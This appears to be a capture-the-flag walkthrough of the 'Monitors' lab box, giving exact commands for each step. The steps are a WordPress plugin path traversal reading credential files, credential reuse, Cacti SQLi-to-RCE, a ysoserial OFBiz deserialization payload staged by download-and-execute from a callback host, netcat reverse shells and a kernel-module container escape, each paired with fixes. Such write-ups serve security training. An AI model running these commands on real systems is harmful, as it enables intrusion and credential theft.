← all walkthroughs

Monitors

Linux· Hard· Web
owned
2026-07-11
time to own
8m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Direct-IP and default vhost requests to <retired-instance-ip>:80 (Apache 2.4.29/Ubuntu) returned 403 "direct IP access is not allowed"; whatweb surfaced admin@monitors.htb, indicating a required vhost. Adding monitors.htb resolved a WordPress 5.5.1 site. Reading Apache vhost configs (000-default.conf, monitors.htb.conf, cacti-admin.monitors.htb.conf) via LFI in the bundled wp-with-spritz plugin enumerated a second vhost, cacti-admin.monitors.htb (DocumentRoot /usr/share/cacti, Cacti 1.2.12). wp-config.php yielded DB credentials wpadmin:[REDACTED: recovered credential], which failed against WordPress but authenticated to Cacti as admin:[REDACTED: recovered credential].

Cacti 1.2.12 is vulnerable to CVE-2020-8813 (authenticated SQL injection → RCE via color.php). Using public exploit 49810.py (Leonardo Paiva), an authenticated SQLi UPDATE set path_php_binary to a reverse-shell command, triggered via host.php?action=reindex, landing a shell as www-data on monitors (<retired-instance-ip>).

Enumerating systemd units revealed cacti-backup.service (ExecStart=/home/marcus/.backup/backup.sh), whose script contained config_pass [REDACTED: recovered credential]. Those credentials granted SSH access as marcus (user flag [REDACTED: flag]).

netstat/ss on the host showed an internal HTTPS listener on localhost:8443, identified (via port-forward and probing) as Apache OFBiz 17.12.01 running in a Docker container, exposing /webtools/control/xmlrpc. This version is vulnerable to CVE-2020-9496 (XML-RPC Java deserialization RCE). A crafted methodCall with a base64-encoded ysoserial CommonsBeanutils1 gadget chain, staged via a three-step curl/chmod/bash download-and-execute, achieved root inside the OFBiz container.

The container had CAP_SYS_MODULE (confirmed via capsh --print). A custom kernel module (reverse-shell.c, using call_usermodehelper) was compiled against the matching host kernel headers (4.15.0-151-generic) — after resolving a missing fixdep binary by copying it from linux-headers-*/tools/objtool — and loaded with insmod, executing as root on the underlying host (root flag [REDACTED: flag]).

Attack path — how the box was taken

1ReconnaissancePassive HTTP fingerprinting / virtual-host enumeration
Mapped the attack surface and discovered hidden virtual hosts
Requests to the server's IP address returned a 403 'direct IP access is not allowed' error, indicating that Apache required a named virtual host. Passive fingerprinting of the HTTP response body exposed the administrator contact address admin@monitors.htb, which confirmed the primary virtual-host name. Resolving monitors.htb revealed a WordPress 5.5.1 site with the wp-with-spritz plugin installed; subsequent file-read operations through that plugin (step 2) uncovered the Apache configuration that disclosed the second virtual host cacti-admin.monitors.htb, running Cacti 1.2.12.
http://<retired-instance-ip>/ [403 Forbidden] Apache[2.4.29] ... Email[admin@monitors.htb]; HTTP 200 on monitors.htb with wp-with-spritz plugin path visible in page source
Exact commands 3
Register both virtual hosts for local name resolution.
echo '$TARGET monitors.htb cacti-admin.monitors.htb' | sudo tee -a /etc/hosts
Confirm the 403 and extract the admin@monitors.htb hint from the response.
curl -si http://$TARGET/ | grep -i 'email\|location\|server'
Verify WordPress is running and the wp-with-spritz plugin is present.
curl -si http://$TARGET/ | grep -i 'spritz\|plugin'
2ExploitationUnauthenticated Local File Inclusion / Path Traversal (CWE-22) — wp-with-spritz plugin
Read arbitrary server files — including database credentials — through a WordPress plugin path traversal
The wp-with-spritz plugin exposed a PHP script (wp.spritz.content.filter.php) that accepted a url parameter and passed it directly to a file-read function without sanitising path-traversal sequences. An unauthenticated operator could prepend ../../../../ to escape the web root and read any file accessible to the Apache process (www-data). I confirmed the flaw by reading /etc/passwd, then read the Apache virtual-host configuration files to identify the cacti-admin.monitors.htb virtual host and its document root (/usr/share/cacti), and finally extracted the WordPress database credentials wpadmin:[REDACTED: recovered credential] from /var/www/wordpress/wp-config.php.
FILE:/etc/passwd root:x:0:0:root:/root:/bin/bash ... returned in HTTP response body; wp-config.php DB_USER=wpadmin DB_PASSWORD=[REDACTED: recovered credential] recovered via same endpoint
Exact commands 3
Confirm path traversal is exploitable; /etc/passwd contents appear in the response.
curl -s 'http://$TARGET/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd'
Read the default Apache vhost config; repeat for monitors.htb.conf and cacti-admin.monitors.htb.conf to enumerate document roots.
curl -s 'http://$TARGET/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf'
Read WordPress config and recover DB_USER / DB_PASSWORD credentials.
curl -s 'http://$TARGET/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php'
FixRemove or patch the wp-with-spritz plugin to close the unauthenticated file-read flawCritical
WeaknessThe wp-with-spritz WordPress plugin accepted a user-supplied file path in its url parameter with no sanitisation, allowing any unauthenticated visitor to read any file on the server that the Apache web process could access — including the database password file.
FixRemove wp-with-spritz if it is not actively required. If it must be kept, update to a patched version and enforce an allow-list of permitted paths in the plugin's configuration. As defence-in-depth: move wp-config.php one directory above the web root (WordPress supports this natively without code changes), and set open_basedir in php.ini to restrict PHP file reads to the document root only. Confirm the fix by attempting the traversal path in step 2 and verifying it returns a 403 or empty response.
3Credential AccessCredential reuse across applications (T1078)
Authenticated to Cacti using the reused WordPress database password
The credentials from wp-config.php — wpadmin:[REDACTED: recovered credential] — failed against the WordPress login. However, when tried against the Cacti 1.2.12 administration panel at cacti-admin.monitors.htb, the password succeeded for the built-in admin account. The Cacti administrator had reused the same password that was set on the WordPress database user. This gave me full administrative access to Cacti with no additional effort.
EDB-49810 PoC reported '[+] Successfully logged in!' with admin:[REDACTED: recovered credential]; subsequent SQLi dump confirmed admin bcrypt hash $2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK
Exact commands 2
Submit the recovered credentials; a redirect to the Cacti console confirms a valid session.
curl -sc /tmp/cacti_cookies.txt -d 'action=login&login_username=admin&login_password=[REDACTED: recovered credential]' http://$TARGET/cacti/index.php -L
Verify authenticated access and confirm the Cacti version (1.2.12).
curl -sb /tmp/cacti_cookies.txt http://$TARGET/cacti/index.php | grep -i 'console\|cacti version'
FixUse unique, randomly generated passwords for every application and service accountHigh
WeaknessThe password stored in the WordPress database configuration ([REDACTED: recovered credential]) was identical to the Cacti administrator account password. Once the database credential was read from one application, I gained full administrative access to a completely separate application at no additional cost.
FixAssign a distinct, randomly generated password (minimum 20 characters) to every service account, application admin account, and database user. Use a password manager or secrets vault to generate and store them. Immediately rotate both the WordPress DB password and the Cacti admin password to unique values, and audit all other applications on this server for further password sharing.
4ExploitationAuthenticated SQL Injection → OS Command Execution (CVE-2020-8813) — Cacti 1.2.12
Exploited Cacti SQL injection to execute operating-system commands as www-data (CVE-2020-8813)
Cacti 1.2.12 is vulnerable to CVE-2020-8813: the filter parameter of color.php is passed into a SQL query without adequate sanitisation. An authenticated operator can inject a SQL UPDATE that sets the path_php_binary setting in the database to any shell command. When Cacti subsequently processes a re-index request (host.php?action=reindex), it reads that value and passes it to exec(), running the injected command as the www-data web user. The public exploit (EDB-49810) automates this chain. I first verified execution with a ping callback (tcpdump), then delivered a mkfifo/nc reverse shell, obtaining an interactive PTY-upgraded session on the server.
EDB-49810 output: [+] SQL Injection: admin,$2y$10$TycpbAes3hYvzsbRxUEbc...; reverse shell confirmed uid=33(www-data) gid=33(www-data) groups=33(www-data) on host monitors
Exact commands 4
Download the Cacti 1.2.12 authenticated SQLi/RCE exploit (Leonardo Paiva, EDB-49810).
searchsploit -m 49810
Start a reverse-shell listener on my machine (run in the background).
nc -lvnp 4444
Run the exploit; replace <retired-instance-ip> with my routable IP address. If the shell does not arrive, re-login to Cacti to get a fresh session cookie and re-run.
python3 49810.py -t http://$TARGET -u admin -p '[REDACTED: recovered credential]' --lhost $CALLBACK_HOST --lport 4444
Upgrade the raw netcat shell to an interactive PTY inside the www-data session.
python3 -c "import pty; pty.spawn('/bin/bash')"
FixUpgrade Cacti beyond version 1.2.12 to eliminate CVE-2020-8813Critical
WeaknessCacti 1.2.12 contained an authenticated SQL injection in color.php that let any logged-in user overwrite the path_php_binary database setting with an arbitrary shell command, which Cacti then executed as the web user when processing a graph re-index request — effectively granting OS-level command execution to any Cacti account holder.
FixUpgrade Cacti to 1.2.13 or the latest stable release, which patches CVE-2020-8813. If an immediate upgrade is not possible, restrict access to the Cacti interface to specific trusted IP addresses via Apache Allow/Deny rules or a network firewall, and revoke any Cacti accounts not required for day-to-day operations. Review Cacti and Apache access logs for evidence of prior exploitation.
5Lateral MovementCredentials stored in plaintext in a script file (T1552.001)
Recovered Marcus's SSH password in plaintext from a system backup script
From the www-data shell, listing running systemd services revealed cacti-backup.service whose ExecStart directive pointed to /home/marcus/.backup/backup.sh. Reading that shell script exposed the variable config_pass [REDACTED: recovered credential] — Marcus's SSH account password stored in plain text. Using those credentials to SSH directly to the server as marcus produced a full interactive user session and the user flag.
sshpass -p '[REDACTED: recovered credential]' ssh marcus@<retired-instance-ip> 'id; cat /home/marcus/user.txt' returned uid=1000(marcus) gid=1000(marcus) and flag [REDACTED: flag]
Exact commands 4
From the www-data shell — read the service unit to find the backup script path.
systemctl cat cacti-backup.service
Read the script; the config_pass variable contains Marcus's plaintext password.
cat /home/marcus/.backup/backup.sh
Log in as marcus via SSH using the recovered password.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null marcus@$TARGET
Read the user flag: [REDACTED: flag].
cat /home/marcus/user.txt
FixReplace plaintext credentials in backup scripts with SSH key-based authenticationHigh
WeaknessThe automated Cacti backup script at /home/marcus/.backup/backup.sh stored Marcus's SSH password as a plain-text shell variable. Any process that could read that file — including an unprivileged web shell — could immediately obtain valid SSH credentials for a named user account, enabling direct lateral movement.
FixRemove the hardcoded password from the script immediately and rotate Marcus's SSH password. Replace password-based authentication for automated backup tasks with a dedicated SSH key pair: generate one with ssh-keygen, add only the public key to the backup destination's authorized_keys, and restrict it to the specific rsync/scp command needed using the command= option. The private key should be readable only by the service account running the backup (mode 0600).
6Privilege EscalationUnauthenticated Java Deserialization RCE (CVE-2020-9496) — Apache OFBiz 17.12.01
Exploited an unauthenticated Java deserialization flaw in an internal Apache OFBiz service to gain root in a Docker container (CVE-2020-9496)
From Marcus's SSH session, ss/netstat showed an HTTPS listener on localhost:8443 — not reachable externally (confirmed: port closed on all external scans). An SSH local port-forward exposed it; directory enumeration found /webtools and /content, identifying the service as Apache OFBiz 17.12.01 running inside a Docker container. CVE-2020-9496 affects this version: the /webtools/control/xmlrpc endpoint deserialises Java objects from an unauthenticated POST request without any authentication gate. I generated a ysoserial CommonsBeanutils1 gadget chain, base64-encoded it, and embedded it in an XML-RPC methodCall. To avoid shell-metacharacter issues, the reverse-shell payload was staged in three separate requests (download script, chmod, execute), resulting in a root shell inside the OFBiz container.
8443/tcp confirmed closed externally; SSH forward exposed /webtools/control/xmlrpc; deserialization payload executed and reverse shell received with uid=0(root) inside the OFBiz container
Exact commands 6
Forward the internal OFBiz port to localhost:18443 on my machine.
ssh -N -L 18443:localhost:8443 -o StrictHostKeyChecking=no marcus@$TARGET
Confirm OFBiz 17.12.01 is running behind the forwarded port.
curl -sk https://$LOOPBACK:18443/webtools/control/main | grep -i 'ofbiz\|version'
Generate stage-1 payload (fetches the shell stager). Repeat for 'chmod 777 /tmp/s.sh' and 'bash /tmp/s.sh' stages.
java -jar ysoserial.jar CommonsBeanutils1 'curl http://$CALLBACK_HOST:8000/s.sh -o /tmp/s.sh' | base64 -w0 > /tmp/stage1.b64
Serve the stager script (s.sh containing the reverse-shell command) from my machine.
python3 -m http.server 8000
Listener for the root shell from inside the OFBiz container.
nc -lvnp 9001
Send the deserialization payload; repeat this curl for the chmod and bash execution stages in sequence.
curl -sk -X POST https://$LOOPBACK:18443/webtools/control/xmlrpc -H 'Content-Type: text/xml' --data "<?xml version='1.0'?><methodCall><methodName>a</methodName><params><param><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$(cat /tmp/stage1.b64)</serializable></value></param></params></methodCall>"
FixUpgrade Apache OFBiz to a version that removes the unauthenticated XML-RPC deserialization endpoint (CVE-2020-9496)Critical
WeaknessApache OFBiz 17.12.01 deserialised user-supplied Java objects at /webtools/control/xmlrpc without requiring authentication. I could reach the port — even through a tunnelled connection — could execute arbitrary commands as the OFBiz process owner, which in this environment ran as root inside the Docker container.
FixUpgrade Apache OFBiz to 17.12.04 or the latest maintained release; CVE-2020-9496 is patched in 17.12.04 by removing the unauthenticated XML-RPC endpoint. If an immediate upgrade is not possible, block all access to /webtools/control/xmlrpc at the reverse proxy or host firewall. Additionally, configure OFBiz to run as a dedicated non-root service account inside the container.
7Container EscapeContainer escape via CAP_SYS_MODULE kernel module insertion (T1611)
Loaded a malicious kernel module using CAP_SYS_MODULE to break out of the container and own the host
Inside the OFBiz container, capsh --print showed the container had been granted CAP_SYS_MODULE — a Linux capability that allows loading and unloading kernel modules, normally restricted to the physical host's root user. I wrote a small C kernel module (reverse-shell.c) that used the kernel's call_usermodehelper API to spawn a reverse shell, compiled it against the host kernel header tree (4.15.0-151-generic, matched via uname -r), and resolved a build-time error caused by a missing fixdep binary by locating a copy in the linux-headers package tree and placing it in the expected path. Loading the compiled module with insmod caused the code to execute in kernel context on the physical host — completely outside the container's isolation boundary — delivering a root shell on the underlying server.
capsh --print confirmed cap_sys_module+eip; insmod /tmp/mod/reverse-shell.ko triggered root reverse shell on the host; cat /root/root.txt returned [REDACTED: flag]
Exact commands 7
Inside the container — confirm CAP_SYS_MODULE is in the effective capability set.
capsh --print | grep cap_sys_module
Retrieve the host kernel version (e.g. 4.15.0-151-generic) to match the kernel headers for compilation.
uname -r
Copy the missing fixdep binary into the kernel build tree so that make can complete without error.
find /usr/src -name fixdep 2>/dev/null | head -1 | xargs -I{} cp {} /lib/modules/$(uname -r)/build/scripts/basic/fixdep
Compile reverse-shell.c (containing a call_usermodehelper reverse shell) against the host kernel headers. Place the .c source and Makefile in /tmp/mod first.
make -C /lib/modules/$(uname -r)/build M=/tmp/mod modules
Start a root-shell listener on my machine before loading the module.
nc -lvnp 5555
Load the module; it executes in host kernel context and spawns a root shell to my listener.
insmod /tmp/mod/reverse-shell.ko
Read the root flag: [REDACTED: flag].
cat /root/root.txt
FixRemove CAP_SYS_MODULE and all non-essential Linux capabilities from Docker containersCritical
WeaknessThe OFBiz Docker container was granted the CAP_SYS_MODULE Linux capability, which permits loading kernel modules into the host kernel. A root shell obtained inside the container could therefore inject arbitrary code into the host operating system, completely defeating container isolation and achieving full control of the underlying server.
FixAudit all running containers with 'docker inspect --format json <container>' and remove CAP_SYS_MODULE and any other capabilities not required for normal application operation. Apply the principle of least privilege: start containers with --cap-drop=ALL and then --cap-add only the specific capabilities the application requires (most web application containers need none beyond the defaults). Enable Docker's default seccomp profile and consider AppArmor or SELinux confinement as additional layers. Containers that do not need root should declare a non-root USER in the Dockerfile. Kernel module loading should never be permitted in an application container.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Cacti 1.2.12 Cve 2020 8813 Authenticated Sqli To RceCritical
An unauthenticated/low-privilege flaw in the apache, cacti, php, ssh, wordpress surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Privesc Ofbiz 8443 Cve 2020 9496 Then Cap Sys Module EscapeCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp